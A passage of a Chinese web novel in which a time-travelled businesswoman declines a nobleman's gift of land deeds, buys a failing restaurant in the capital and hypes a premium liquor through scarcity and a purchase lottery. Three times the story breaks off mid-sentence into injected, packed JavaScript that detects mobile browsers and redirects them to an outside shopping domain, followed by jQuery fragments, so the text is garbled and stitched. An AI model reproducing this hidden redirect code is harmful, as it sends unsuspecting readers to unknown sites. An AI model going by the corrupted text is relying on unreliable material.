“这坛酒我要了!” 傅知乔犹豫道:“太白酒有多抢手您是知道的,一般情况下只有在本店预定过才能买到,看在您是我们酒肆老客的份上,这坛特级太白酒可以卖给您,只是这价格嘛有点高,不知道……” “价格不是问题,这坛酒我要了。” 就这样,原本二十两的酒价格直接翻两三倍,变成五十两一坛。 成功做成一单生意,傅知乔走到彭高飞眼前,“彭老板看到了,太白酒的价值远不止于此。” 亲眼所见,远比听说要来得震撼。 彭高飞已经惊讶到说不出话来了,他对傅知乔心服口服的同时也懊恼不已,懊恼自己为什么不把傅知乔的话放在心上。 想到价值五十两的太白酒,居然被自己用二十两的价格卖了出去,还卖出了一百多坛…… 彭高飞一颗心“啪”的一声掉在地上,摔得稀碎。 67. 送地契 跟彭高飞商量好好太白酒的事,傅知乔回到悦来客栈时已经傍晚了,一推开房门看到熟悉的身影。 傅知乔脚步一顿。 房门被打开,夕阳直接照进了房里,谢卓坐在桌子旁,听到门口的动静后他站起身来,仿佛在他的身上镀了一层金光。 一身蓝色的锦袍,一头墨发以玉冠固定在脑后,朦胧的夕阳让他的五官轮廓显得有些虚幻,平添了几分冷清之感。 银杏迎上来帮傅知乔脱掉斗篷,又端了盆热水过来,挽起袖子浸湿布巾给她净手。 把空间留给傅知乔和谢卓说话,银杏站在屏风后面守着,这里是客栈,她不能让姑娘跟一个男人共处一室,万一被人传出些风言风语就不好了。 谢卓侧头看了看傅知乔,唇角勾起一抹浅笑,目光温柔。 傅知乔问:“你怎么知道我来京城了?” 还说呢!人都到京城了居然还不告诉他,谢卓既高兴又有点埋怨:“你来京城怎么不第一时间告诉我?我好吩咐人去接你。” 傅知乔笑道:“我想给你一个惊喜嘛!” 她来京城的行程确实没有告诉谢卓,她又不是专门来找他的,她有更重要的开酒楼计划。 谢卓眸子闪过狐疑,明显是不相信她的话,不过他也只是随口一说,并不是真心埋怨。好不容易把人盼来了京城,他半月后就要带援兵和粮食去往凉州,两人相处的时间一天比一天少,他只想珍稀与她见面的每一天! 谢卓看了看客栈的环境,当即说要给她安排一个院子,傅知乔拒绝了,她在京城是要长留的,住在自己的宅子里才舒适。 听傅知乔说已经找好住处了,谢卓也不再坚持,递给她一叠纸样的东西。 “这是什么?”傅知乔接过来,粗粗扫了一眼,发现这一叠纸全是地契,上面的铺子遍布京城各个角落,还有一张地契的位置是朱雀街。 朱雀街是京城最为繁华的一条街,寸土寸金,这条街上的店铺的生意都十分火爆,她要是把酒楼开在这里开,将来肯定不愁客流量,太白酒也会名声大噪。 “你不是要开酒楼吗?我手上刚好有些不错的铺子,你挑一个吧!” 谢卓财大气粗,一出手就是朱雀街上的地契,还由着她随意挑选,彷佛送给她的不是贵重的地契,而是一件普通的不能再普通的小玩意一样。 在傅知乔看来,“你挑一个吧”这句话的威力跟后世的“刷我的卡”是不相上下的。 “不行,我不能要。”傅知乔受宠若惊,觉得手上的一叠地契有千斤重。 谢卓垂下眼帘,一点退让的意思都没有,缓声说道:“我送出去的东西没有收回来的道理,我给了你,你收着便是!” 谢卓这话说的,好像是在下一道不容违抗的命令。 傅知乔:…… 谢卓是皇亲国戚,身份高贵,人家指缝里随便漏一点出来都够她干好几年了,但也正是因为如此,傅知乔才不能接受他的好意。 这里不是后世,没有人人平等的观念,也没有什么自由恋爱的机会。 在社会等级森严的大魏王朝,商人和世家之间有一条难以跨越的鸿沟,就算她与谢卓两情相悦,也不代表最后一定能走到一起。 傅知乔把地契递了回去。 正所谓拿人手短吃人嘴软,两个人谈恋爱送些礼物没问题,但送地契送房子就有些过了。 傅知乔自认为她与谢卓的关系还没达到不分你我的地步,她不能把谢卓对她的好当做理所当然。 两人本来身份上就差了一截,她要是再肆无忌惮接受谢卓的好意,等于是把自己看低了一头,她不想让两人的感情掺杂任何金钱和权势的因素。 想到这里,傅知乔的目光快速落到了谢卓身上。 谢卓真的很讨人喜欢,明明出身显赫之家,身上却没有世家子弟身上的纨绔之气。 她承认,最开始她是被谢卓的外貌吸引的,后来相处起来才发现在他冷峻的外表之下有一颗赤诚的心。 他想对一个人好,便真的万事都会为她着想。 傅知乔越看谢卓越喜欢。 谢卓这边却是眉头一皱,脸上的微笑慢慢僵凝:“你不愿意要我的东西?” 谢卓不理解傅知乔为什么不肯收下地契,她想在京城立足,有了王府的保护,不敢说全部,在京城至少有大部分人是不敢惹她的。 他担心傅知乔初来乍到,不知道在京城无权寸步难行的道理,这才赶着过来给她送地契,希望能帮到她,谁知道她二话不说就拒绝了。 “不是,我自己有钱。” 谢卓用审视的目光看着傅知乔,仿佛能将她一切的心思和伪装都看透,“你不想把生意跟我混在一起?” 被看穿了小心思,傅知乔脸色微红,她只能含含糊糊的道:“我不想打着你的名号开酒楼,也不想给你添麻烦。” “你我之间,不用这样客气。”谢卓本就幽深的黑眸,在此刻变得更加深沉。 “我没有跟你客气,我只是想要开一家完完全全属于自己的酒楼,当初太白酒铺也是我一手开起来的,你知道我有这个能力!”傅知乔的语气很轻柔,却有着不容置喙的分量。 谢卓是知道她在禹州的经历的,当下也不好说什么了。 他心里猜想,傅知乔是不是因为女子不能继承家产为由,被族人夺去了家产,所以现在才要攒着劲要证明自己? 顿时,他心里生出一股难言的酸涩滋味,要是能早点认识她就好了,他定不会让她受苦。 见谢卓情绪不太高涨,傅知乔赶紧挽住了他的手臂,转移话题道:“哎呀,需要的时候我会找你帮忙的,不说这个了,你不是说等我来了京城要带我去赏枫的吗?” 说完她调皮的眨了下眼睛,谢卓瞧见了不禁闷声一笑。 早在青州时他就知道了,傅知乔看似温和亲切,其实骨子里是说一不二的性格,从她处理姚成芳一家和对待黑虎寨的态度就可以看出来。 傅知乔虽然没有收谢卓给的地契,但眼下正好有一件事需要他的帮忙。 她把自己从青州带了一百坛太白酒的事情说了,谢卓很快就领会到她的意思,“你是想让我过去捧场?” 傅知乔点点头,她来京城是有开酒楼的计划的,首先要做的当然是把自己的招牌太白酒推出去,最好是能吸引到贵族阶层的注意。 谢卓身为端亲王世子,代表的是贵族,太白酒能入他的眼就等于入了贵族们的眼。 贵族用的东西肯定不会差到哪里去,到时候她就可以顺理成章的提升太白酒价格了,这对于她后期炒作价格是十分有利的。 傅知乔问:“你大概什么时候有空?若是抽不出空让王骞信来一趟也可以。” 谢卓是第一次担当援军和运输粮草的重任,大小事物他都亲力亲为,明天要去工部申请制作一批新的盔甲兵器,后天带傅知乔去静霞山赏枫叶,大后天需要去检查士兵们的御寒衣物是否到位…… 他略微思索了片刻,回答:“三日后巳时之前有空。” 巳时?不就是上午嘛! 傅知乔知道谢卓把时间腾出来已是不易,当即说了一大堆感谢的话。 听着傅知乔声耳语的糖衣炮弹,谢卓矜持的点点头,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721636|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是倚靠在椅子上的腰背微不可查的挺直了。 两人又陆续说了会话。 天色愈发的晚了,谢卓不好在客栈久留,依依不舍的回去了。 * 谢卓走后不久,德福回来禀报说看到一处合适的二进院房子。正房有四间,东西厢房各两间,有一间厨房,一间杂物间和一排后罩房,另外还有专门放马车的牲口棚,一个月需要二十两银子租金。 这个院子还是他跑了大半个京城才看中的,他跟在傅知乔身边这么久,也算是了解她的喜好。 二十两银子在青州能租到一个上好的四进院子,但是在京城却只能租到地段一般的二进小院子。 京城的物价果然贵很多! “姑娘,您别看这房子贵,但它贵得值!”德福简单的介绍了房子的位置和格局。 傅知乔点点头,她确实说过看房子要选位置好的。 听完德福的禀报,第二天早上傅知乔亲自去看了房。 房子的位置在琴台街,离朱雀街也就不到两千米的距离。院子虽小但五脏俱全,面积不大但地理位置不错,她当场就把房子给定下来了,和牙行写了租房文书,一下子交了半年的租金。 收拾完行李从客栈退了房,坐着马车去了新租的房子。 嬷嬷带着银杏去大街上添置一些生活所必须的东西,又去雇佣了两个丫鬟回来做些洒扫的粗活。 等一切都张罗得差不多了,傅知乔带着人去酒楼吃饭。她选的地方是琼鲜楼,朱雀大街是京城最繁华的大街,而琼鲜楼是朱雀大街上最有名的酒楼。 银杏惊喜的瞪大了眼睛,她看着傅知乔眼中的期待不言而喻,问:“真的吗?姑娘,我们要在这里吃饭?" “当然是真的,你们想吃什么随便点,不用给我省钱!” “好耶!”银杏欢呼。 崔嬷嬷无奈的敲了敲银杏的头:“你个馋丫头,姑娘难道少了你一口吃的?” 银杏笑着捂住自己的额头,嘴里嘟囔着,“嬷嬷,我还是第一次来这样大的酒楼里吃饭嘛。” 琼鲜楼门口的店小二发现了她们,迎了上来:“客官里边请……” 傅知乔进入到琼鲜楼里,她环视了一圈大厅的环境,大厅里还有不少空位,傅知乔问:“可还有雅间?” “有的,客官请随我来。”店小二听到她要雅间后更加热情了,因为雅间的客人给的赏钱通常要比一般的客人多。 店小二弯着腰,引着她们几个往里头的雅间走去。 傅知乔正筹备开酒楼的事情,不如就顺便打探一番,她装作无意的问:“我看你们这生意火爆,平日里也有这么多客人吗?” 店小二自豪道:“客人您有所不知,咱们琼鲜楼是京城数一数二的酒楼,大厨更是宫里御厨的传人……” 到了雅间,小二等她们落座后问:“不知道客官想吃点什么?” 傅知乔十分豪气:“把你们这儿的招牌菜全部给我上一份!” “好嘞!客官稍等。”店小二满脸喜色,弓着腰退了出去。 过了一会,小二带人进来上菜:“鱼香酥片、鸡丝银耳、燕鱼羹、金丝佛手、龙井竹荪……” 一共上了八道菜,傅知乔把每个菜都尝了一遍,说实话,琼鲜楼的菜卖相很精致但味道也就在及格线之上、优秀线之下,并没有什么令人惊艳的味道。 在她看来,琼鲜楼是京城最好酒楼的名号有点言过其实了。 吃完饭,傅知乔交代德福和程业玄去调查京城叫得上号的酒楼有哪些,她要在京城开酒楼,必须要好好了解自己的竞争对手才行。 69. 收购酒楼 从静霞山回来,傅知乔就收到了德福和程业玄的汇报。 京城酒楼有很多生意火爆的,但也有不少生意惨淡的,而且,大部分酒楼都开在街上最热闹的地方,人流量大不愁没有客人。 傅知乔一边翻看各大酒楼的情况,一边问:“规模较大的酒楼有多少家? 德福:“回姑娘的话,大型酒楼共十九家,中型食肆一百五十一家,小型食铺不计其数。” 不愧是京城,这竞争力确实不一般。 光大型酒楼就有十九家,前几日她们去的琼鲜楼就属于大型酒楼,像琼鲜楼这种规模的还有十八家,想在这些酒楼里分一杯羹,傅知乔已经感受到压力了。 琼鲜楼是一家在皇城脚下经营了四十多年的老店,里面的大厨号称是御厨传人,做出来的菜品以精致为主。 有御厨传人的头衔加持,琼鲜楼的生意十分红火。 搁以前,御厨做的饭菜只有宫里的贵人们才能吃的,现在在外头也能吃到宫里的菜,百姓们自然是一哄而上,所以琼鲜楼的生意一直都很不错。 琼鲜楼也因此被视作身份的象征。 琼鲜楼的饭菜价格也不便宜,简简单单的一顿饭就能花掉一般人家一两年的开销,她一路观察,琼鲜楼的客人们身上穿着的衣服布料都是好料子,神情体态皆很放松,不见半点拘谨之态。 想想也是,能到最好的酒楼里吃饭的人必然都是些有家世有身份的人。 傅知乔感叹,这就是定位抓得准的效果啊! 琼鲜楼的定位和她当初对太白酒的定位是一样的,瞄准的中高端人群,专门赚达官贵人们钱。 定位相同,她要怎么从琼鲜楼里抢生意呢? 傅知乔本来想自己买地重新建一个全新的酒楼,在了解过京城的地价和酒楼市场后她放弃了,自己买地建实在是太费时了,她把目光放在了收购酒楼上。 * 王骞信在来之前就已经给牙人亮过王府的腰牌了:“事成之后好处少不了你的。” 他带着牙人来到傅知乔住处,“傅姑娘,我把牙人带过来了。” 牙人身形消瘦,他走进来对着傅知乔拱手行礼问好。 傅知乔说了下自己对铺子的要求,牙人按照傅知乔的要求在脑子里搜寻了一遍,确定有符合要求铺子后,当即十分自信的拍了拍自己的胸膛:“包您满意!” “只要房子好价格不是问题。” 因为给了足够的预算,牙人带他们去的都是些好地段,但沿着京城内圈逛了半天,傅知乔都没有看到能入她眼的酒楼。 地理位置好又宽敞的铺子没有那么容易找,符合这两个条件的铺子生意大多很红火,压根就没有要把铺子卖出去的打算。 “还有别的店铺吗?”傅知乔不想将就,她要买就要买最合适的。 牙人也有点为难,这好位置的铺子都看过了,突然,他想到什么:“我倒是还知道一个地方大的,不过位置就差些了,您看?” 留香居离这里这里不远,大概一盏茶的功夫就能到。 “走,去看看!” 马车停到六合巷,王骞信率先下马,这回他有经验了,搬着矮凳给傅知乔垫脚。 傅知乔下了马车,在门口看了一会,六合巷门口来来往往的人流并不算少,但是却没有一个人踏足进入留香居里。 “祥叔!祥叔?你在吗?”牙人走在最前面,他对着铺子里喊了两声。 留香居内部冷清一片,根本看不到半个客人的影子,柜台处只有一位身着着麻布衣衫的少年,大约十一二岁的模样,他双手撑着下巴在柜台发着呆。 听见牙人的声音后他朝着里面喊了声:“爷爷,有人找!” “哎,来了!”内堂后面传来一个年迈声音,几息之后,一个精神矍铄的老人走了出来。 “祥叔,我今儿个是带人来看铺子的,你之前不是说想把这铺子给卖出去吗,这不,我这里有买主想过来看看。” 祥叔笑呵呵的带着傅知乔在留香居里转了一圈:“这位小娘子,你也看到了,我这铺面虽然位置差了点,但足够宽敞,桌椅都齐全……” 留香居完全就是傅知乔心中所想的样子。 酒楼有三层高,整个酒楼加小院的面积大约有四百多平方,傅知乔心里规划着位置,一楼大概可以摆十几桌,二楼可以做成雅间,三楼就做成豪华包间。 不仅如此,留香居的后院也很宽敞,有水井,有冰窖,除了柴房和杂物间之外,还有四个大房间可以做成店小二的休息室。 唯一的缺点是位置有点偏,离繁华的朱雀大街有四条街的距离,但总体上她是满意的。 根据牙人的介绍,祥叔的儿子是酒楼的厨师,他儿子的厨艺一般,平时酒楼里的生意不好也不差,维持温饱不成问题。但是朝廷突然要征兵,他儿子被选中从军去了,酒楼里没了厨师那还怎么开的下去?短时间内又招不到厨师,他只好自己顶了上去。 可祥叔的已经是近六十岁的年纪了,偶尔进后厨帮帮忙是没问题的,但让他长时间在厨房掌勺,他的年纪也吃不消。 无奈之下,只能选择把酒楼给卖了。 考虑再三,傅知乔还是决定买下来:“若价格合适咱们今儿就可交定钱。” 爷孙俩对视一眼,“五千两。” 傅知乔用眼神询问王骞信这个价格是否合理,来之前,她查阅了几条繁华大街上的地价,但六合巷压根不在她考虑范围,这里的地价她心里没数。 价格是合理的,不过还有下压的空间。 王骞信扔了个眼神给牙人,牙人是知道王骞信的身份的,当即出来说话,“祥叔,留香居的桌椅都老旧了,位置也偏僻,这个价格能否降一降!” 祥叔见傅知乔不说话,也有些担心自己的价格要的高了,再看看牙人对他们的态度,也能猜出傅知乔怕是有点来头。 见牙人递了台阶过来,祥叔赶忙开口:“价格好商量!不过我可没有狮子大开口,我这留香居虽然位置偏了些但地方是极为宽敞的,小娘子若是要买下来,我给你让两百两银子,怎么样?” 傅知乔向牙人抛去疑问的眼神。 牙人看了看她,接着又看了眼王骞信,“祥叔,你说想卖酒楼,我就找了贵人来,你这诚意……” “四千五百两, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729579|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能再低了!”听到牙人说傅知乔和王骞信是贵人,祥叔主动退了一步,他怕拒绝傅知乔后短期内再无人过来买酒楼了。 留香居每天入不敷出,不但赚不到钱而且还要往里贴钱,以现在的情形,他每多开一天都是亏钱。 傅知乔略一思忖:“您老什么时候有空?咱们一手交银一手交契书。” 最终的成交价是四千五百两银子,傅知乔对这个价格还算满意。他们去了官府,交了一两银子的纸笔费,顺利将留香居的房契名字改到了她名下。 * 因为太白酒的定价不便宜,傅知乔给新酒楼定位也是中高端层级。 针对豪门贵族的消费习惯,酒楼里里外外的的装饰布局都需要重新改造一番,环境的好坏直接影响到酒楼的未来发展,想要赚这些达官贵人的的银子就必须要舍得下成本。 现在酒楼已经到手,她要放开手脚好好的规划一番。 傅知乔问王骞信:“你可知京城哪家的匠人靠谱?” 王骞信领会到傅知乔的意思,酒楼都已经买下了自然是要重装才能开业的。 他的效率很高,一天内就联系好了所有木匠和泥水匠,这些匠人是专门为达官贵人修葺房子的,据王骞信所说修缮王府找的也是这些人,手艺自然是没的说。 匠人们将原先留香居的招牌摘下来,德福在门口贴了一张告示说明酒楼将暂时关门,等装修好后会重新开张。 傅知乔拿着写了自己名字的地契,心里松了口气。 她将自己脑海中的酒铺样子大概画了出来,标注了什么位置放什么东西,还将之前已经画好的座椅样式给了木匠,嘱咐他们一定要按照自己的图纸来。 修建酒楼的工匠们拿到图纸后很不解,为什么要在大厅里挖一个池子? 在傅知乔的设计里,要在酒楼一楼的大厅里做一个自然景观,客人们走进来第一眼看到的是有莲花和锦鲤的池子。池子修建好后在底下铺一层鹅卵石,再移植一些莲花、放几条五色斑斓的锦鲤进去,后面再在池子旁边放一个缩小版的假山,给等于是把花园里的景色搬到大厅里。 工程量虽大了些,但这个池子景观能给整个酒楼增不少趣味。 傅知乔画的图纸很简陋,好在民间自有能工巧匠,经过一番讲解之后倒也领会了她的意思。 专业的事就交给专业的人做,傅知乔把画好的装修图纸交给工匠后便让德福担任监工,她一个外行人也瞧不出什么门道,有德福定期向她汇报进度就可以了! 当然了,很多细节她也会亲自到场把关确认。 酒楼布局全部按照她的要求重新装、桌椅要打新的、还要买一些精致瓷瓶书画回来做软装…… 仅仅是酒楼装修阶段就有这么多的事情要忙了,等酒楼装修好了,她还要请厨师、雇店小二、定碗碟……这又是一大笔花费,傅知乔在心里一番计算后感叹京城的物价实在是太贵了! 根据泥瓦工的估算,酒楼全部装修好需要两个月,等酒楼开业估计是年后的事了。 当务之急是多赚些银子! 正好她打算炒价格的那批特级太白酒也运到京城了。 70. 特级太白酒 酒楼买了下来,傅知乔心里的大石头也落了地,这一晚是傅知乔来京城这么久睡得最安稳的一次,崔嬷嬷知道她最近很辛苦,也没有早早过来催她起床。 傅知乔睡到自然醒,洗漱打扮完出来,看到谢卓已经在正厅里等着了她了。 今天要去彭家酒肆帮忙宣传特级太白酒,她换上一身男装,还特地在耳垂上擦了面脂扑了粉,不近距离盯着看无法发现她有耳洞。 乌黑的头发用小银冠束在头顶,傅知乔扮作白衣少年的模样,手执一柄水墨折扇,衣袍雪白,一尘不染,衣襟和袖口处用金色丝线绣着祥云纹样,腰间挂着的玉佩着她的步伐左右摆动,又增添了几分风流不羁的意味。 谢卓目光转过来时,她朝着他作了一揖:“谢兄,别来无恙。” 傅知乔下巴微微抬起,“唰”地打开折扇,那笑容颇有点风流少年的意味。 与此同时,彭家酒肆里,彭高飞正着急的等待着。 今天是特级太白酒开售的日子,他早早听了傅知乔的主意,在门口挂了一块大牌匾,上面写着:特级太白酒,欲购从速。 牌匾已经在酒肆门口放了两天,傅知乔还让彭高飞给之前买过太白酒的客人发去邀请,铺垫了这么久,今天她带着谢卓是来添最后一把火的。 正式开售这天,彭家酒肆来了不少围观的百姓。 特级太白酒?五十两一坛? 这简直就是狮子大开口! 彭高飞站在酒肆门口招呼着:“各位都是我彭家酒肆的贵客,彭某今日邀请大家前来,是因为我彭家酒肆到了一批特级太白酒。” 他还未说完,下面就传来质疑声,“彭老板,你确定这是特级太白酒?你可别故意抬价,拿普通的酒来糊弄我们。” 其他人纷纷的点着头,都很赞同这种说法。 彭高飞认识说话的人,答道:“杨夫子您说哪里的话,在座之人都是喝过太白酒的人,味道的好坏诸位一尝便知。” “价值五十两的太白酒,那我可要好好尝尝这酒了!”杨夫子更是满脸期待,他本就对酒有些嗜好,听到彭高飞说后更是迫不及待了。 店小二捧着托盘走出来,在他们几人面前放下杯子。 彭高飞当着众人的面打开酒坛,边开边讲解,“想必大家都知道,太白酒的编号越小越珍贵,各位请看,这坛酒的编号是二字开头的……” 彭高飞给编号展示给所有人看,让他们看清自己手中的这坛酒是真品。 站在酒肆后面的人都伸长了脖子去看,他们也想要看看这特级太白酒到底有什么特殊之处。 彭高飞介绍完编号,随即打开了酒坛的封口。 一股浓郁的酒香顿时充满了整个酒肆,所有人的注意力都被吸引到了酒坛上。 现场有不少鼻子很灵的爱酒人士,他们耸动着鼻子,试图从空气中的酒香来分辨酒的味道。 特级太白酒是酒庄里最先酿制的一批酒,蒸馏的时间更长,酒液也要更纯一些,已经窖藏出很好的风味,味道跟普通版本的自然有些区别。 彭高飞一共邀请了八位贵客试喝,谢卓也在其中。 傅知乔做好了万全准备,要是现场没有人认出谢卓,她就亲自去当这个托。 结果证明傅知乔的担心是多余的。 对太白酒感兴趣的人当中不乏有身份的人,他认出了谢卓,弯着腰过来行礼:“世子爷,您也对着特级太白酒感兴趣?” 谢卓跟他点头致意,说话的人名叫易廉,任职钦天监监正,当初在剿匪庆功宴上见过谢卓一面。 易廉的声音不算大声,但周围几个试喝酒的百姓都能听见。 世子爷? 霎那间,几个人的目光齐齐看向谢卓,然后眸光一变,急忙弯腰给他行礼。 世子爷也是来喝特级太白酒的? 一想到自己正在与王府世子一起喝酒,几个人的血液全部冲向头顶,能与世子爷这样身份的人在同一张桌子上喝过酒,等将来老了的时候还可以跟孙子孙女吹牛:“你爷爷我当年也是跟世子爷同桌喝过酒的人。” 彭高飞听到谢卓的身份也是一惊,早前傅知乔跟他说过会带人过来捧场,可她没说来的人是端亲王府的世子爷啊! 傅老板怎么会认识这种大人物?同为商人的彭高飞很清楚,世家子弟从来不会把他们这种商人放在眼里的,他紧张的看向傅知乔。 傅知乔给他投去一个安心的眼神。 彭高飞镇定下来,亲自给八人倒满酒:“贵宾们,这就是我们酒肆里最好的特级太白酒,请品尝!”他微微一笑,对着众人做了一个请的手势。 谢卓带头喝了一口:“特级太白酒,果然名不虚传!” 有了谢卓开头,余下几个人也不再拘谨了。 易廉一边端起杯子,小小的抿了一口:“不愧是特级太白酒,酒体醇厚,慢慢品才能喝出其中的美妙滋味。” “快哉快哉!这绝对是顶级美酒!只可惜只有一小杯,无法痛快畅饮一番。” “酒液一入口,舌根处便能感觉到丝丝苦涩,接着便是清冽回甘,唇齿间香气四溢,喝完回味延绵。” “酒液在口中多含一秒,浓厚的酒香过后一股粮食的清香味慢慢透出,这特级太白酒确实更胜一筹!”杨夫子眯着眼,摇头晃脑,一脸的享受。 彭高飞邀请现场试喝的这八个人,要么身份尊贵,要么多次购买过太白酒,部分人甚至可以称得上是酒痴。 透过酒肆大门,看着在里面喝酒的八人一脸享受,其他围观的百姓实在是忍不住了,一个劲的催促道:“彭老板,现在可以买特级酒吗?” 彭高飞笑着回答:“特级太白酒数量不多,每天限购三十坛。” “啊?怎么这么少?” “对啊,开门做生意的,有酒不卖是什么道理?” 彭高飞连忙安抚大家的情绪,“各位稍安勿躁,特级太白酒只有三批,因为是特酿的所以产量不多。为了让这些特级酒能完好无损地运到京城,我彭家商队是分了好几次才顺利运回来,现在库房里只有三百坛特级太白酒,卖完就没有了,还请各位见谅!” 他的言辞恳切,但大家的抱怨的声音并没有停歇下来。 傅知乔在一旁看着,她很满意现在的效果,有争议才能引起讨论,讨论的人多了还怕特级太白酒不火吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733820|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 在众人还在抱怨的时候,谢卓已经付了银子带走一坛了。 眼看着三十个名额只剩下二十九个,众人一拥而上。 * 彭家酒肆里只有三百坛特级太白酒,卖光了就再也喝不到了。 傅知乔带了一百坛过来,彭高飞库房有三百多坛,但他只准备拿两百坛出来,剩下的一百多坛继续留着升值。 三百坛酒,每天限量三十坛,十天就卖完了。 有了买不到酒的紧迫感后,京城的百姓们对特级太白酒的热情更高了。 彭家酒肆定下了规矩,一天只售卖三十坛,当天有不少人没有买到酒的人决定明日一定要早点来。 接下来的发展也正如傅知乔预料的那样,特级太白酒有了谢卓的名气加持,一下子就在京城火爆起来。 有些没有买到特级太白酒的人,还出高价想从买到太白酒的人里收购。 有人愿意花六十两买、有人愿意花八十两买……特级太白酒的价格就这样炒起来了。 特级太白酒的火爆程度出乎彭高飞的意料,他甚至在想,自己一次性拿出两百坛来是不是太多了,应该多留一些等着升值卖更高的价格才是。 傅知乔敲打了他一番,不管外界的价格如何变化,彭家酒肆只能卖五十两一坛。 做生意最重要的就是信誉,彭高飞虽然动摇过但最后还是决定听傅知乔的话,坚持以最初的定价售卖。 外面的特级太白酒价格飞涨,而彭家酒肆的价格还是原样,有些人为了用五十两原价买到特级太白酒,天不亮就守在彭家酒肆门口了。 为了抢到前三十个买酒的名额,还有人在酒肆门口大打出手。 这样下去可不行,百姓们太过热情根本不听劝阻,彭高飞没办法,再次找到傅知乔请她帮忙出主意。 当天,彭家酒肆里贴出了通知,排队前三十名的人才能买酒的规则改了,换成了抽签。 傅知乔让彭高飞事先准备好一百个签子放在签筒里,中签的签子上是红字,其余的则是黑字。 人们排队依次抽签,抽不抽的中全凭自己的手气。 一百个人里抽三十人,这种不确定感刺激着每个人的神经。 抽签时每个人都小心翼翼,闭住呼吸等待最终的悬念。 “啊!我抽中了!”抽中的人是个留着八字胡的中年男人,他无法抑制住自己内心的欢喜,大喊出声。 “我也抽中了,本来是来凑个热闹没想到被我抽中了,哈哈哈!” 人群中夹杂着欢呼声与叹气声。 抽签买酒的形式实在太过新奇,在谜底未曾揭晓前,所有人都会觉得那个幸运儿是自己。 抽签的刺激感就在于你不知道结果是什么,在抽签的过程中深度体会对未知的忐忑,那种既紧张又兴奋的情绪刺激着每个人的大脑。 揭晓悬念之时,抽中的人狂喜,觉得自己就是天选之子主,没有抽中的人则不甘心,想着下次还要来抽。 有了抽签规则后,彭家酒肆门口再也没有出现打架事件了,是来抽签的人反而更多了。 这一玩法直接让特级太白酒名气暴涨。 71. 五味粉 特级太白酒因绝佳的口味和新奇的买酒方式而出名,连带着普通太白酒的销量也大涨。 人是有从众心理的,见特级太白酒受到如此多人的追捧,有些人会好奇这是个什么玩意?为什么价格这么贵? 好奇心会驱使着他们来了解特级太白酒。 在大多数人看来,价格越高的东西代表着它的品质就越好,人们在买贵价的东西时,一方面能获得物质满足和享受,另一方面则是自我的价值感受会得到提升。 毕竟,能消费得起贵价的东西,也是这个人财力和地位的体现。 彭高飞见自家的酒库差不多见底了,连忙让商队连夜出城赶往青州再拉一批酒回来,这种时候时间就是金钱,商队必须早去早回,不能让库房里的特级太白酒卖空了。 特级太白酒热销到什么程度呢? 就连孙立轩也没有买到,孙立轩是什么人?堂堂国公府大少爷都买不到的酒,特级太白酒的火热程度可见一斑! 因为抽签选名额的规定增加了很多不确定性,孙立轩也不好为了一坛酒拿自己的身份出去施压,这就导致了他一直没买到酒。 特级太白酒一共三千坛,编号分别是一二三开头,卖完就没有了。除了放出来的几百坛特级酒之外,其他的全部在傅知乔的酒窖里,目前特级太白酒在市面上有价无市的状态,就算有钱也不一定买得到。 谢卓把他在彭家酒肆买的那一坛送给了孙立轩。 孙立轩正愁买不到酒,作为太白酒的爱好者,特级太白酒售卖他不久后就听到风声了。他白天要在锦衣卫当差,只好让家中的小厮去排队抽签,结果小厮手气太差了抽了三天一次都没有中,他都恨不得自己亲自上去抽签。 收到谢卓送过来的酒后孙立轩心情大好,哈哈笑道:“明日我要开宴,好让徐章和沈南他们见识见识什么叫真正的美酒!” 他立即发拜帖给“狐朋狗友”们,请他们一聚。 聚会的地点定在琼鲜楼,二楼的一间雅间里,包括孙立轩在内一共六人,他们围着圆桌而坐。 孙立轩邀请的都是同辈,都是些世家子弟,身份和孙立轩差不了多少。 孙立轩穿了一身新锦袍,坐在主位上发言:“小弟前些天刚得了一坛特级太白酒,特地邀请各位大人品鉴一番。”说完他一招手,店小二上前给众人的酒杯里斟满酒。 清澈透明的酒液缓缓倒出,各位公子哥脸上都露出了惊讶的神情,以他们的身份地位,喝过的好酒不计其数,这如同清水一般的酒还真的第一次见。 太白酒之前在京城里卖的不错,但只在爱酒之人的口中流传,达官贵人们家中采买食物都是在相熟的铺子买的,自然不了解太白酒的特殊之处。 先是闻了闻酒的香味,再抿一小口品味道,辛香醇厚的酒液在口中绽放开来,徐章放下酒杯啧啧称叹:“酒香芬芳,入口爽滑,能喝到如此美酒,此生无憾了。” 席间有人点头附和:“酒液清澈,酒味香浓,说是琼浆玉液也不为过了!” 孙立轩看着众人的反应,心中暗暗得意:“诸位喜欢就好。” 他还好心提醒大家:“此酒的酒性很烈,需慢点下肚。” 